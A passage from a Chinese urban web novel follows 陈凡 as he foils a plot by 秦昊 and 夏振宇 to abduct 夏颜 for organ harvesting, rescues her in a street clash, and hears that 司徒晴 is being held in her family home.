她离开时关门的动作很轻,但我能感觉到那扇门隔绝的不仅是空间,还有某些更复杂的东西。
病房里只剩下我、林薇儿,还有窗边的周叶青。
林薇儿叹了口气,在床边坐下,轻轻握住我的手:“疼吗?”
“还好。”我看着她眼下的青黑,问道:“你这几天没睡好?”
“怎么睡得好?”她苦笑着,道:“昨晚楼下发生的那一幕整个人都懵了,柳媚笙给我打电话,说你受伤了,我今早去周氏集团,找叶青姐姐带我来找你……”
她的话没说完,但我能感觉到她的手在微微颤抖。
林薇儿这才想起她的存在,有些不好意思地松开我的手,站起身:“叶青姐,抱歉,刚才……”
“不用道歉。”周叶青摆摆手,走到床边,目光在我脸上扫过,道:“陈凡,你这次运气不错。但下一次,就不一定了。”
“袭击者能精准掌握你和司徒宇的行踪,说明我们的防范有漏洞,白起已经在排查所有相关人员,包括你身边的、司徒宇身边的,还有……我身边的人。”
“白大哥身体这么快就好了?”我好奇道。
“他的身体异于常人,是个古武者。”周叶青算是给我答疑解惑。
果然!
我猜测的没错,白起果然是个古武者!
我心里不由一惊,看来,这个世界有太多的高手存在……
120还要对夏颜动手?
“在上城,如果周家和司徒家打起来,谁最获利?”我问道。
“那就是王家。”周叶青想了想道。
“王家?”我微微一愣。
那个在上城富豪榜排名前三的存在吗?
我心头一凛,看来上城富豪的内斗已经到了一定的程度,都敢对榜一榜二动手了。
“现在一切都是猜想,如果能找到关键性的证据,那王家会死的很惨!”周叶青道:“周家和司徒家可以解决他。”
“周总,那如果王家和司徒家联手呢?”我善意的提醒道:“那危险的是不是周家?”
我的话让周叶青陷入了沉思,看来她心里已经有数了。
周叶青对林薇儿说道:“这几天你可能也要小心,陈凡身边的人,都有可能成为目标。”
林薇儿的脸色白了白,但很快镇定下来:“我明白,我会注意。”
林薇儿的手指微微收紧,但她没有说话。
我看向周叶青,知道她是故意在林薇儿面前提起这个话题,这个女人,永远知道如何在最微妙的时候,搅动一池春水。
“周总,现在最重要的,就是找出幕后黑手。其他的,都不重要。”
周叶青笑了,那笑容里有欣赏,也有某种更深的东西:“说得对,不过陈凡,你要记住——在这座城市,情感和利益一样,都能成为致命的武器,有时候,对你最关心的人,反而会成为你最致命的软肋。”
她的话像一把冰冷的刀,刺入病房温暖的空气,更是刺进了林薇儿的心里。
林薇儿站起身,声音依然轻柔,道:“周小姐,您说得对,但正因为如此,我们才更要保护好自己在乎的人,您放心,我不会成为陈凡的软肋。”
周叶青点点头,道:“那就好,林小姐,你可以暂时居住在这里,我会安排安保人员的。”
两人离开后,病房重新陷入寂静。
我拿出了电脑,一只在刷新上面的资料,这里记录者上城许多名门大户,我重点关注了王家。
王家的掌门人,王成,现在59岁,是做海上运输生意起家的,经历了半辈子的摸爬滚打,终于在上城立柱了脚跟。
我还特意浏览了,王家和周家的产业,发现他们和周家的产业并不重合,那就是应该没有什么过节才是?
“难道说,这些年王成都是在演出来的吗?”
阳光已经移动到了墙壁上,我靠在床头,肩上的伤口隐隐作痛,但更让我心绪不宁的,是周叶青刚才的话。
内鬼……
会是谁?
护士轻轻推门进入,道:“陈先生,该换药了。”
“好!”我点了点头道。
当护士从我的房间走出去后,我忽然听见了手机响。
我拿起来一看,竟然是个陌生号码。
我接听。
“陈凡,陈哥!你帮帮我,我是赵坤!”
电话里的赵坤哭着对我说道。
“我知道你不信我……我知道你恨我……”赵坤在电话那头似乎哭了,声音断断续续,道:“但我没办法了……他们……他们要杀我灭口……”
我没有接话,等着他说下去。
“我爸……我爸不是心脏病死的。”赵坤的声音突然变得尖锐,带着哭腔,道:“是秦昊!是秦昊带着司徒家的人,逼死了他!”
秦昊!
这个名字像一根冰冷的针,刺破了我脑海中混沌的迷雾!
看来我的猜想没有错,赵刚的死和秦家和司徒家确实有关系!
赵坤一定是走投无路了,才给我打电话!
“说清楚。”我的声音依旧平静道。
“那天晚上秦昊突然来我家,带着两个人,那两个人……很可怕,我从来没见过那种眼神,就像……就像没有感情的机器。”
司徒家的暗卫!
我第一反应就是这个!
“他们进了我爸的书房,谈了不到二十分钟,我在门外听到秦昊说,赵家惹了不该惹的人,坏了规矩,必须付出代价。”赵坤的声音越来越抖,道:“我爸一开始还在争辩,后来……后来就突然没声音了。然后秦昊出来,冷冰冰地看了我一眼,说我爸突发心脏病。”
“他们走后,我冲进书房,我爸他他趴在桌子上,眼睛睁得很大,手里还握着药瓶,医生说是心脏病突发,但我知道不是……我爸心脏一直很好,他那天晚上还跟我说要重整旗鼓……”
“为什么现在才说?”我问。
“我怕啊!”赵坤几乎是喊出来的,道:“秦昊走之前警告我,如果敢乱说话,下一个就是我!我躲了这么多天,今天下午我发现有人跟踪我是秦昊的人!他们要灭口!陈凡,我知道我们之间有仇,但现在只有你能救我……也只有你能对付秦昊!”
我没有立刻回答,赵坤的话里有多少是真的,多少是夸大其词,还需要验证。但秦昊这个名字的出现,确实让许多原本难以解释的事情有了一种可能性。
“还有……”赵坤突然想起什么,声音变得更加急促,“陈凡,你得小心!秦昊他……他下一个目标可能是夏颜!”
我浑身的血液几乎在一瞬间冻结。
“你说什么?”
“我偷听到秦昊和他带来的人的对话……”赵坤接着说道:“他们说……夏颜要去做器官移植的供体……”
轰!
大脑中仿佛有什么东西炸开了,肩上的伤口瞬间剧痛起来。
夏颜……器官移植……供体……
看来夏振宇还是没有放过夏颜!他还在打夏颜的主意!
很明显,夏振宇和秦昊联手了!
“陈凡?陈凡你还在听吗?”赵坤在电话那头焦急地喊。
我深深吸了一口气,问道:“你在哪里?”
“我……我在城西老码头附近的一个废弃仓库里,地址我发给你……”
“待在那里别动,我派人去接你。”我的声音冰冷道:“如果你说的是真的,我保你不死,如果你骗我……”
“我没有!我发誓!”赵坤几乎是哭着喊出来的。
挂断电话,我立刻拨通了周叶青的号码。电话响了两声就被接起。
“出什么事了?”周叶青的声音很清醒,显然也没睡。
“赵坤在我手里。”我直接说道,“他说赵刚是秦昊带着司徒家的暗卫逼死的。还有,秦昊下一个目标是夏颜,要抓她去做器官移植供体。”
121用夏颜来换秦悦!
电话那头沉默了两秒,然后我听到周叶青深吸一口气的声音:“秦昊……我早该想到。”
“你知道什么?”
“秦昊自小就患有肾病,需要肾脏移植。”周叶青快速说道:“他的血型是RH阴性AB型,非常罕见,夏颜的血型……我记得也是这个。”
我握手机的手因为用力而指节发白。
怪不得秦昊会和夏振宇合作,他也需要夏颜的肾脏!
妈的,这两人,真的是狼狈为奸!
“夏颜现在非常危险,我要去找她!”我说着就走下床。
周叶青点了点头,她没有拦着我,她知道夏颜对我来说的重要性。
“周总,你现在派人去接赵坤,然后把他找个安全的地方关起来,另外,我需要秦昊现在所有的行踪和资料,越详细越好。”
“还有,我要去海城最快的机票!”
一想到,夏颜现在身处危机,我就担心,我一刻都不想浪费时间。
“我会调动秘卫,去海城保护夏颜。”周叶青说道。
“谢谢周总!”我道。
“不必谢,这是你应该得到的尊重。”
周叶青的一句话,算是肯定了我在上城的所作所为,现在的答卷,她应该是满意的。
挂断周叶青的电话,我立刻拨通了夏颜的号码,电话响了七声,就在我几乎要失控的时候,终于被接起。
“陈凡?”夏颜的声音带着睡意,听起来很安全,“老公,想我了?”
“听我说……”我的声音尽量保持平静道:“你现去柳媚笙的酒吧,地下室有个密室,密码是你生日倒过来,进去之后锁好门,等我联系你。”
夏颜显然被我这番话惊醒了,声音变得紧张:“发生什么事了?”
“现在没时间解释,按我说的做。”我的语气不容置疑,道:“马上,立刻。”
“好。”夏颜沉默了一秒,果断回答道。
我电话挂断,然后一把扯掉手上的输液针,我翻身下床,尽管我的伤口传来撕裂般的剧痛,但我顾不上了。
我换上衣服,拉开房门。
门外,周叶青安排的两个安保人员立刻转过身,问道:“陈先生,您需要什么?”
“送陈总去机场!”周叶青在里面说道。
“是!”
门口的两个保安立刻听令,然后开着车,飞速将我送往飞机场。
就在这时,我的手机再次震动。
这次是周叶青发来的信息,只有一句话:“秦昊半小时前离开秦家别墅,去向不明,他身边跟着四个人,确认是司徒家暗卫。”
紧接着是周叶青发过来的第二条消息:“网络监控发现,十五分钟前开始,多个社交媒体账号同时发布关于秦远宏当年如何嫁祸秦昊父亲、夺取家主之位的黑材料。”
“我截获了秦氏集团内部通讯,秦昊正在联系董事会成员,要求紧急召开会议,罢免秦远宏的董事长职务。”
好快的动作,秦昊的逼宫已经开始了。
秦昊这条毒蛇,不仅要对夏颜下手,还要一举拿下整个秦家,而所有挡在他路上的人——赵刚、夏颜、都会被他毫不犹豫地清除。
秦昊。
如果你敢动夏颜一根头发,我发誓,会让你后悔来到这个世界上。
就在我即将登机的时候,我的微信视频忽然闪烁,是秦悦给我发来的,于是我马上点开接听。
让我没想到的是,视频里出现的人,竟然是秦昊!
他怎么会用秦悦的手机给我发消息!
那很有可能秦悦已经遭受到了危险!
我让周大伟保护好夏颜和柳媚笙,唯独忽略了秦悦,我以为,她有自己的保镖应该会没事,没想到……
“陈凡……”秦昊带着一丝嘲讽的笑意,道:“听说你受伤了,好像也没怎么样啊!”
我没有说话,只是冷冷地看着他。
“别这么看我,我可不喜欢男人!”秦昊接着说道:“你看,我帮你除掉了赵刚那个麻烦,你不该感谢我吗?”
“秦悦在哪里?”我直接问道。
“秦悦?她很好,我请她来做客,你放心,我会好好招待她的。”秦昊一脸得意的说道。
“如果她少一根头发,我会让你生不如死。”我狠狠的说道。
秦昊挑了挑眉,不爽道:“真是令人感动的深情,不过陈凡,你搞错了一件事,现在秦悦的命在我的手里,你要是想让秦悦活命的话,就乖乖把夏颜送过来!”
“你做梦吧!”我怒气冲冲道。
“看,我的好妹妹,你听到了吧,你口中的男人,并不爱你啊,他不愿意用夏颜来换你!”
秦昊忽然将镜头转过去,秦悦被绑在了椅子上,她嘴巴里被塞,只能发出呜呜的声音!
“秦昊,你会付出代价的。”我说。
我现在知道秦昊的目的,他是双管旗下,他逼秦远宏退出家主的位置,然后在用秦悦要挟我,他的毒计不可为不毒。
“代价?”秦昊笑出声来,道:“陈凡,你还是没明白,我现在手里有秦悦,马上就会有整个秦家,我现在还有司徒家的支持,你拿什么跟我斗?你那点可怜的势力?还是周叶青那个女人的庇护?”
他身体前倾,凑近屏幕,眼神变的锐利道:“我现在给你个选择,退出这场游戏,永远别再回来,我可以保证夏颜手术后的安全,我甚至可以给她一笔足够她下半辈子衣食无忧的钱,这是你最后的机会。”
我看着他,眼神里充满怒火!
“秦昊,你也搞错了一件事。”我冷冷的说道:“我陈凡的人生里,从来没有认输这两个字,你要玩,我奉陪到底,但游戏结束的时候,你会跪在地上求我杀了你。”
屏幕那头,秦昊的脸色沉了下来。
视频通话被挂断。
我握紧手机,准备登机!
我先要保证夏颜的安全,只有夏颜安全了,秦昊才不敢动手!
“老婆,你在哪里?”我拨通夏颜的电话问到。
“我现在在去柳媚笙酒吧的路上。”夏颜继续说道:“是大伟在开车,你放心吧。”
“嗯,那就好,尽快去!”我说道。
“好!”
到了海城机场,我走出来。
门外,柳媚笙安排的司机阿勇已经来接我了。
“凡哥,柳总让我来接你。”阿勇说道。
“嗯,她现在咋哪里?”我问。
“在酒吧的地下室!”阿勇说道。
“夏颜去了吗?”我问。
“这个不清楚,我来的时候,还没有见到夏总。”
我的心不免有些担忧,我立刻拨打夏颜的手机,电话响了好多声,竟然没有人接听!
不好的预感涌上心头!
122夏颜的恐惧!
阿勇驾驶汽车在街道上疾驰,我的心情就和迈速表一样快要飚到极限了。
因为心里着急,我坐在副驾驶座上,一遍又一遍地拨打夏颜的手机,无人接听,我再打柳媚笙的手机,同样无人接听。
这并不是一个好的兆头,很有可能她们都遇到了危险!
“阿勇,还有多久才能到!”我对这阿勇问道。
“大概七分钟,已经是最快速度了,凡哥,我已经联系了酒吧附近的兄弟,让他们先进去查看。”
“嗯!”我点了点头。
七分钟,在平常的时间里这不过就是抽支烟的功夫,但此刻的每一秒都让我感觉到煎熬。
我的手机屏幕再次亮起,这次是周叶青打来的视频电话,我立刻接通。
手机屏幕上出现的是周叶青,她的背景是一排排的电脑,还有许多工作人员在操作电脑。
“陈凡,听我说。”周叶青的表情异常严肃道:“我们追踪到了夏颜手机,她在城北工业园区附近。信号在两分钟前消失了。”
我的心沉了下去,我当然明白信号消失意味着什么!
“我现在马上就去!”我说道。
“还有……”周叶青继续说道:“秦昊的人突然全部撤离了,他们行动很匆忙,像是接到了什么紧急命令。而夏振宇,二十分钟前离开了夏家别墅,带着一支八人小队,方向也是城北工业园区。”
夏振宇?!这件事他也参与进来了?
“夏振宇和秦昊有联系吗?”我急促地问道。
“正在查,但……”周叶青的话突然被打断,她侧耳听着旁边技术人员的汇报,脸色越来越难看,道:“刚刚截获的一段通讯,夏振宇和秦昊在半小时前有过一次加密通话。内容还在破解,但关键词已经提取出来了!”
“是什么?”我着急的问道。
“手术,供体,立即转移。”
这三个词像三把冰锥,狠狠刺入我的心脏,我当然明白是怎么回事了!
他们是要拿夏颜的身体来做**手术!
“夏振宇想要什么?”我的声音冷得几乎结冰。
“秦昊承诺,手术成功后,他会全力支持夏振宇拿下东郊剩余地块的开发权,并注入五亿资金。”周叶青快速说道:“而且,如果夏颜在手术中发生意外,夏家还能获得秦昊的庇护,对抗我们接下来的打压。”
“夏振宇,真不是人!他竟然真的舍得自己亲女儿的命!”我狠狠说道。
“周总,给我工业园区的地图和夏振宇车队的实时位置。”我说。
“好,我已经发到你手机上了。”周叶青说道:“周家在海城的秘卫,你可以随意调动,如果你觉得不够,我可以让白起去。”
“不用,现在应该是够了!”
我知道,就算白起做最快的飞机,也来不及了!
我挂断电话,然后立刻拨通了另一个号码,那是周叶青之前给我的U盘里,周家特殊安保力量的紧急联络方式。
电话只响了一声就被接起。
“陈先生,你好,我叫周伟!”秘卫说道:“有何吩咐?”
“我现在需要一队人,地点城北工业园区,你们要用最快的速度赶过去。”
“对手是司徒家的暗卫,你们的任务是清除所有暗卫的威胁,并救出夏颜!”
周伟在电话里直接说道:“收到!我现在就带人去!”
“速战速决!”我狠狠说道!
再坚持几分钟,夏颜,你一定要撑住!
我的手机再一次震动,这次是周叶青发来的工业区附近的建筑布局图。
这里是一片废弃的工厂区,道路错综复杂,是个绝佳的伏击和转移地点,夏振宇选择那里,显然早有预谋。
就在这时,我的手机响了,来电显示是柳媚笙。
我立刻接通。
“陈凡……”柳媚笙的声音听起来非常虚弱,电话里还有其他人嘈杂的声音!
“酒吧被袭击了!我中了枪……夏颜没来我这里!”柳媚笙声音里带着慌张。
“你现在怎么样?”我着急的问道。
“还好安保队及时赶到,对方跑了!柳媚笙咳嗽了几声,声音虚弱道:“陈凡,夏颜的车在滨江大道被拦
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截了,对方手里可能有武器。”
滨江大道!那是通往城北工业园区的必经之路!
“阿勇!”我吼道:“改道滨江大道!现在!马上!”
阿勇没有任何犹豫,方向盘猛地一转,车子在空旷的十字路口一个急转弯,轮胎发出刺耳的摩擦声,然后朝着另一个方向全速冲去。
我打开手机地图,滨江大道距离我们现在的位置大约三公里,以现在的速度,两分钟内可以到达。
两分钟,夏颜,坚持住。
……
同一时间,滨江大道中段。
三辆黑色SUV被两辆横在路中间的厢式货车逼停。
夏颜坐在中间那辆SUV的后座上,她神情有些紧张,可见她的忐忑。
“嫂子,低头!”周大伟发现了事情不对劲,这些货车根本就是来搞袭击的!
尽管周大伟已经提醒了夏颜,可已经来不及了,对方的车疯狂的撞向夏颜的SUV,两个车同时夹击,这次袭击很像杭城那次袭击!
砰!
车窗被铁棍打碎!
一个打手朝车里扔了一个烟雾器!
瞬间,刺鼻的烟雾瞬间充满车厢,夏颜剧烈地咳嗽着,她的视线变的模糊。
夏颜下意识的想要打开另一侧车门逃跑,但车门已经被从外面的车狠狠抵住,无法打开。
“夏颜,不要做无谓的抵抗。”一个熟悉的声音在车外响起。
烟雾稍稍散去,夏颜透过破碎的车窗,看到了那个夏振宇!
“你来做什么!”夏颜的声音因为烟雾而嘶哑,但更多的是愤怒和震惊!
夏振宇的出现,无疑让夏颜感到了恐惧和压迫,夏颜知道,他这次来,应该是为了夏雨的手术,毕竟夏雨的肝脏需要移植了。
而自己,就是那个提供器官的人!
“为了你妹妹,为了夏家!”夏振宇的声音平静道:“秦昊要你的肾,夏雨需要你的肝,我养了你二十六年,你现在是时候为家族做点贡献了。”
“你疯了!”夏颜摇着头,狠狠道:“你怎么敢!陈凡不会放过你的!”
123救下夏颜!
“你是我的种,你的命也是夏家的命!”夏振宇厌恶的看着夏颜道:“你本来应该为夏家换取最大的利益,但你一次次让我失望,你竟然和陈凡那种暴发户混在一起,妄图脱离我的控制。”
他做了个手势,两个暗卫上前拉开车门,将还在挣扎的夏颜拖了出来。
“你做梦,我不是你的傀儡!”夏颜不甘心的看着夏振宇。
夏颜看了看周大伟和保安车队,他们都和夏振宇带来的人打了起来,已经没有人来保护夏颜,尽管她使劲的挣扎,也不是对方的对手。
“放开我!”夏颜吼道:“别碰我!”
“夏颜,你就放心的去手术吧,秦少会给你用最好的麻药,请最好的医生。”夏振宇看着被按在地上的夏颜,眼神冷漠道:“手术结束后,你会被送到国外,这是我能为你争取到的最好的结局了。”
“一个要我的肝,一个要我的肾,我还能活吗!”夏颜迷迷糊糊间,咬着牙怒道:“陈凡不会放过你的……”
听到这个名字,夏振宇的脸上闪过一丝狰狞!
“陈凡?他现在自身难保,秦少和司徒家联手,他活不过今晚。”
“你还是担心你自己吧!”夏振宇挥了挥手,一个医生拿出一支注射器,里面是透明的液体。
“滚开!别碰我!”夏颜拼命挣扎,但两个暗卫死死按着她。
噗!
注射器的针尖刺入夏颜的皮肤,她瞬间感到意识模糊,视线里所有的一切,都逐渐变的不真实。
“陈凡……”
“你来了……”
夏颜眼睛闭上的最后一刻,她嘴里还在喊着我的名字。
“陈凡,他不会来了,他现在应该**了!”夏振宇得意的说道。
“夏颜!”
我高喊夏颜的名字,直到看到她倒了下去,我整个人都要**了!
“撞过去!”我对阿勇吼道。
阿勇猛踩油门,黑色越野车像一头暴怒的野兽,朝着那两辆横在路中间的厢式货车冲去。
“凡哥,抓紧!”阿勇说道。
越野车在最后一刻猛打方向,不是撞向货车,而是擦着货车的边缘冲了过去,车身与货车金属摩擦发出刺耳的尖叫,火花四溅。
这个出其不意的动作让在场的人愣了一下,而这一瞬间的愣神,就给我争取了时间。
车子还没完全停稳,我已经推开车门滚身下车,扑向附近的一个暗卫!
“砰!”
一拳,我狠狠砸向了那个暗卫!我出手极其的重,瞬间秒了对方!
“偷袭!”剩下的暗卫迅速反应过来,向我扑来。
“阿勇,大伟,拦着他们,救人最重要!”
我保持清醒,向他们下达命令。
“是!”
阿勇和周大伟帮我拦着冲过来的暗卫。
我趁着这个机会,冲到夏颜身边,她躺在地上,眼睛紧闭,呼吸微弱,脖颈上还插着那支注射器,我小心地拔出针管,探了探她的鼻息,还活着,但脉搏很弱。
“夏颜,醒醒!”我拍了拍她的脸,但她没有任何反应。
我想,麻醉剂已经生效了。
“陈凡!”夏振宇愤怒道:“你竟敢来!”
我没有理夏振宇,我直接抱起夏颜,然后快速撤回我们的车辆后方,阿勇和周大伟同时掩护我后撤。
“赶紧撤!”我对他们喊道:“快走!”
“不行,凡哥。”阿勇的声音传来道:“对方有增援。”
我抬头看去,只见滨江大道另一端,又有三辆车疾驰而来,车灯刺眼,车子还没停稳,就有更多武装人员跳下车,迅速散开阵型。
这不是夏振宇的人,这些人的动作更加专业,配合更加默契,装备也更精良!
是司徒家的暗卫。
而且至少有十二个人。
我们这边算上我只有七个人,我们还要保护昏迷的夏颜,形势瞬间逆转。
“你们牵扯住!”我立刻做出判断。
我没有功夫在这里浪费时间,现在救夏颜才是最重要的任务!
我看了眼怀里的夏颜,她的脸色越来越苍白,麻醉剂可能含有其他成分,我知道此时必须尽快送医。
就在这时,天空中突然传来一阵低沉的轰鸣声。
所有人下意识抬头,只见三架黑色的无人机正从夜空中快速接近,机腹下挂着某种装置。
“那是……什么?”夏振宇那边有人惊呼。
下一秒,无人机投下了数枚罐状物
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体,物体落地后瞬间爆开,释放出大量白色浓烟,迅速笼罩了整个区域。
**!
“是我们的人!”我喊道:“周家的援军到了!”
果然,烟雾中传来了更多的刹车声,还有整齐的脚步声,我的对讲机里响起了声音,道:“陈先生,救赎小队已到达,请指示。”
“清除所有敌对目标!”我冷声说道:“夏振宇要活的。”
“收到!”
接下来的两分钟里,烟雾中响起了密集但短暂的打斗声,伴随着人体倒地的闷响和零星的惨叫,周家的秘卫和司徒家的暗卫打了起来!
上城两大家族的手下,究竟谁更强?
当烟雾开始散去时,战场形势已经彻底改变。
夏振宇带来的武装人员全部倒地,生死不名!
而司徒家的十二名暗卫,有七个躺在地上,剩下的五人被反铐双手,按在地上,而周家的援军却无一人伤亡!
夏振宇被两名秘卫从一辆SUV后拖了出来,他也被按在地上!
我抱着夏颜,走到他面前。
“你……你怎么可能……”夏振宇抬头看着我,声音颤抖。
我没有回答,只是冷冷地看着他。
“陈凡,你不能杀我……”夏振宇的声音里带着哀求,道:“我是夏颜的父亲,我养了她二十六年……你看在她的面子上……”
“正因为你是她的父亲,”我缓缓开口,道:“你才更该死。”
我抬脚,狠狠踹在他的胸口。夏振宇惨叫一声,仰面倒地,剧烈咳嗽起来。
“留他一条命。”我对按住夏振宇的秘卫说:“撬开他的嘴!”
“是!”
说完我抱着夏颜,走向已经准备好的医疗车,一名随队的刘医生立刻上前检查。
我知道,这都是周叶青提前安排好的。
“陈总,麻醉剂中含有镇静成分和肌肉松弛剂,剂量很大。”刘医生快速说道:“她需要立刻送医院进行血液净化。”
“用最快的速度。”我说。
“是!”
我坐上车,叫上刘医生,然后疯狂的朝最近的医院驶去!
我看着夏颜的脸,心中默默发誓:“所有伤害她的人,都要付出代价!”
124司徒晴的求救!
医院。
夏颜被送进急救室,我站在门外焦急的等待。
周叶青安排的刘医生,就站在我的身旁。
“陈总,别太担心,夏颜小姐,应该会没事的。”刘医生安慰我道。
我刚要说话,刘医生指了指对面,道:“周总来了。”
我抬起头,往门的方向看去,我看到周叶青正快步的穿过走廊,她一脸的凝重向我走来,她身后竟然跟着白起。
白起和我同时受伤,可他的恢复速度却比我快多了,看来古武者的身体素质,果然强悍。
“夏颜怎么样?”周叶青直接问道。
“在洗胃和血液透析,刘医生说麻醉剂里有肌肉松弛剂和镇静成分,剂量很大,现在里面什么样,我也不清楚。”
尽管我努力克制说话的声音,可我心里的怒火却要爆发!
但我知道,现在不是发泄情绪的时候,我必须要冷静,我要对付夏振宇,还要对付秦昊,因为秦悦还在他的手里。
不过让我意外的是,我没有想到周叶青竟然会亲自来,她所做的一切,让我很有安全感。
至少我知道,这个盟友,在关键时刻,非常给力!不会玩背后捅刀子的事情。
“刘医生,你要照顾好夏颜。”周叶青吩咐道。
“周总放心,我会尽全力的!”刘医生看了看我,说道:“陈总别担心,刚才虽然夏颜小姐被已注射了麻醉剂,但是我们送来的也很及时。”
“嗯……”我点了点头。
我知道刘医生是在宽慰我,我只能答应下来。
“夏振宇已经被掌控,我的人正在审,但情况比我们想的更复杂。”周叶青道。
“怎么?”我抬起头问。
“夏振宇不是唯一参与这件事的夏家人。”周叶青压低声音,道:“他的妻子,也就是夏颜的继母,还有夏颜的两个堂兄,都知道这个计划,甚至整个夏家上层,至少有一半人默许用夏颜去交换秦家的利益。”
我闭上眼睛,深吸一口气。
那一刻,我真想杀了他们所有人!
为了所谓的利益,竟然用一条生命去换取!
我是不会放过夏振宇,也不会放过任何参与其中的人!
“更有意思的是,我们审问夏振宇时,他透露出一个信息,秦昊答应他的不只是东郊地块和资金,秦昊还承诺,如果他的**手术成功,秦家会支持夏家取代周家,成为上城新的顶级家族。”
“呵!真是愚蠢他妈给愚蠢开门,愚蠢到家了!”
我嘲笑道:“周家是什么背景,夏振宇算什么东西,还敢有觊觎之心!秦昊这个大饼是给他喂饱了!”
“不自量力!”周叶青也冷笑一声。
不过,随即周叶青的脸色明显变的阴冷,看来,在涉及到周家利益的时候,她也毫不留情!
“现在秦昊在哪里?”我问。
“消失了。”周叶青摇头,道:“我们监视的所有地点都没发现他的踪迹,他的人也全部撤离,这个人很谨慎,他现在应该是躲起来了!”
我点了点头道:“司徒鸣对我发难,秦昊联合夏振宇对夏颜动手,这绝对不是巧合,而是秦昊谋划好的!”
“你分析的很准确……”周叶青道。
就在这时,急救室的门开了。
一个医生走出来,他摘下口罩问道:“哪位是家属?”
“哪位是家属?”
“我是。”我上前一步说道。
“病人暂时脱离危险了,麻醉剂和镇静剂的剂量确实很大,但送来得及时,我们已经做了血液净化,不过……”
“不过什么?”我的心又提了起来。
“我们在她血液里发现了一种罕见的药物成分。”医生皱眉道:“那是一种用于**供体的特殊药物,可以抑制免疫反应,通常这种药只在确定供体后、手术前几天开始使用。”
我的拳头猛地握紧,这就说明夏振宇今天就想对夏颜动手拿走器官!
“这药有副作用吗?”周叶青问。
“短期影响不大,但长期使用会严重影响免疫系统。”医生继续说道:“不过病人血液里的浓度不高,应该是刚开始使用的,应该不会有长期影响,需要留院观察几天,
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确保所有药物代谢完毕。”
“她什么时候能醒?”我着急的问道。
“麻药效果过去就会醒,大概还需要两三个小时。”医生看了看我,说道:“病人现在需要休息,你们可以进去看她,但不要待太久。”
医生离开后,夏颜被推了出来,然后送入了VIP病房。
夏颜躺在病床上,脸色苍白得几乎透明,呼吸很轻,她的身上连着各种监控仪器。
我走到床边,轻轻握住她的手,她的手依然很凉,但至少现在有了温度。
“我会让秘卫在这里守着,直到危险解除为止!”周叶青站在我身后道。
“他不会再有第二次机会了。”我狠狠的说道。
上一次,在杭城,夏颜被袭击,这一次,在海城,同样又上演了,我内疚也自责,是我没照顾好夏颜。
但我也知道,现在不是我内疚的时候,我必须尽快除掉秦昊!
手机在这时震动起来,我看了一眼,竟然是司徒晴的电话,我下意识的想要挂断,这个节骨眼上,我没工夫和她儿女情长。
“接吧,也许她有事找你。”周叶青说。
我接通电话,但没有说话。
“陈大哥!”电话里传来司徒晴焦急的声音。
“怎么了?”我问道。
“我家里现在出事了,我哥和我爸都失踪了,联系不上了!”
我和周叶青同时看了看彼此,我皱着眉问道:“到底是怎么回事?”
“陈大哥,我家里现在很不对劲,我大伯今天把所有人都叫去开会,不让我参加,我偷听到他们在说什么清理门户,重新布局。”
“陈大哥,你能帮帮我么?”
“你现在在哪里?”我问。
“在家,我的房间里,但我感觉有人在监视我。”司徒晴的声音压得很低,道:“家里的保镖换了很多人,都是我不认识的,他们看我的眼神很奇怪。”
周叶青在手机上快速打字,然后举起来给我看。
“信号来自司徒家的祖宅,她应该是被司徒飞控制起来了,先答应她的要求……”
125不入虎穴焉得虎子!
我瞬间明白了周叶青的用意。
她应该是想要利用司徒晴,于是我点了点头,对着电话说道:“晴儿,现在你不要激怒他们,我会派人去救你。”
“好的陈大哥,谢谢你……呜呜……”
电话那头传来司徒晴的哭声,她一个涉世未深的女孩,哪里经历过这种事情。
“好了,不要哭,别让他们发现了……”
“嗯嗯……”
安抚好司徒晴后,我挂上了电话。
“她应该是被司徒飞软禁了。”我说道。
“司徒鸣和司徒宇同时失踪,然后现在司徒飞软禁司徒晴,他是想要取代司徒鸣,成为家主?”周叶青眉头紧蹙,在分析。
“不管怎么样,我感觉这一切都发生的太突然了,我总感觉,司徒宇被袭击,这事儿发生的太过蹊跷,而且,司徒鸣怎么会失踪?他可上城的大佬啊!”我分析道。
“如果是司徒飞,那也不是没有可能,毕竟司徒家族也不是铜墙铁壁,司徒飞的能力,可不比司徒鸣差。”周叶青双手抱着肩膀说道。
“你真的要插手司徒家的事?”周叶青向我问道。
我点了点头,道:“也不算是插手,如果司徒鸣和司徒宇真的失踪了,那司徒晴就是继承家主的第一人,如果能扶持司徒晴当上家主,我觉得着对我们来说百利而无一害!”
“你想扶持个傀儡?”周叶青笑着问我。
“没错,毕竟她现在对我们没有任何的威胁。”我说道。
“陈凡……”周叶青忽然看着我,眼神深刻的说道:“司徒家的人,没有蠢货。”
“嗯……”
我知道,周叶青是在敲打我,她并不想让我小看司徒晴,但我从目前相处来说,司徒晴确实比较好掌控。
“不过……”周叶青若有所思道:“现在司徒家内部正在发生变动,这很有可能会影响整个上城的局势,这对周家来说,是一个机会。”
“周总,不入虎穴焉得虎子,要不要玩一把大的?”我问道。
“哦?”周叶青来了兴致。
于是我靠近她,在她的耳边,轻声说着……
周叶青听了我的计划后,她想了想,道:“你的这个计划虽然有风险,但如果成功,周家将在上城独一无二,你也可以进入富豪排行榜,在上城获得举足轻重的位置。”
“那就这么干?”我试探性说道:“我打算派秘卫去,将司徒晴接出来,只要她人在我们手里,司徒飞想要占据司徒家的产业,那是不可能的!毕竟司徒晴才是法律上的继承人。”
“好,那就按照你的计划进行,具体事情你来安排。”周叶青说道。
就在我和周叶青说话的时候,白起拿着一个平板电脑过来走过来说道:“周总,有新情况。”
白起将电脑里的监控视频播放给我们看,只见画面里是城西一家废弃工厂的外围,大概是半小时前,几辆黑色轿车驶入工厂,从车上下来十几个人,全都穿着黑色作战服,装备精良。
“这是司徒家的另一支暗卫小队。”白起说道:“他们进入工厂后就没再出来,我们的人用无人机侦察,发现工厂内部有大规模人员集结,至少有三十人,都在做战斗准备。”
“目标?”周叶青问。
“不确定,但从他们的装备和配置来看,应该是要执行一次高强度的突袭行动。”白起说道。
就在这时候,我的手机再一次响起。
这次是一个完全陌生的号码。
我接通,按下免提。
“陈凡,晚上好。”电话那头传来一个经过**处理的声音。
“你的夏颜小姐还好吗?希望我们的药物没有对她造成太大影响。”
“你是谁?”我问,同时示意白起追踪信号。
“我是谁不重要。”**继续说道:“重要的是,游戏还没有结束,你能在那种情况下把夏颜救走,确实有几分本事,但可惜,你救得了一个人,救不了所有人。”
“你想说什么?”我的声音冷了下来。
“柳媚笙现在在酒吧的地下室,对吧?”**轻声笑道:“周叶青安排了六个保镖保护她,挺周到的,但你说,如果现在有三十个训练有素的**同
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时进攻,六个保镖能撑多久?”
